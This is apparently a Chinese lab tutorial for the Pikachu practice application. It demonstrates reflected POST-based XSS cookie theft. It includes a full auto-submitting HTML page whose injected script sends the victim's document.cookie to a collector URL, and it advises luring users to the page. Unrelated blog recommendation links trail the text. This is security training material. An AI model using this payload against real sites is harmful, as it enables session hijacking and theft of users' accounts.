5.XSS-反射型(post)利用:获取cookie

原理:

文件路径:\pikachu\pkxss\xcookie\post.html

将post.html文件,复制到皮卡丘的根路径下或者根下随意路径即可,并编辑文件

需要修改以下两个地址,第一个地址是将原界面的样子链接过来,让用户认为是原界面,第二个是将cookie从数据库中提取出来的程序(注意和自己的目录相对应)

基于域名配置文件

基于IP地址配置文件

powershell 复制代码
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.30.168/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.30.168/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后将url:www.pikachu.net/post.html发给用户访问,会直接跳转到post型链接上;

用户误以为是正常网站去访问

在pkxss平台直接获取用户信息

相关推荐
weixin_445476681 分钟前
Vue+redis全局添加水印解决方案
前端·vue.js·redis
lecepin1 分钟前
AI Coding 资讯 2025-10-29
前端·后端·面试
余道各努力,千里自同风25 分钟前
小程序中获取元素节点
前端·小程序
PineappleCoder28 分钟前
大模型也栽跟头的 Promise 题!来挑战一下?
前端·面试·promise
非凡ghost28 分钟前
MousePlus(鼠标增强工具) 中文绿色版
前端·windows·计算机外设·软件需求
焚 城44 分钟前
EXCEL(带图)转html【uni版】
前端·html·excel
我家媳妇儿萌哒哒1 小时前
Vue2 elementUI年份区间选择组件
前端·javascript·elementui
笨笨狗吞噬者1 小时前
【uniapp】小程序体积优化,分包异步化
前端·微信小程序·uni-app
该用户已不存在1 小时前
Golang 上传文件到 MinIO?别瞎折腾了,这 5 个库拿去用
前端·后端·go
snows_l1 小时前
JavaScript 性能优化实战大纲
前端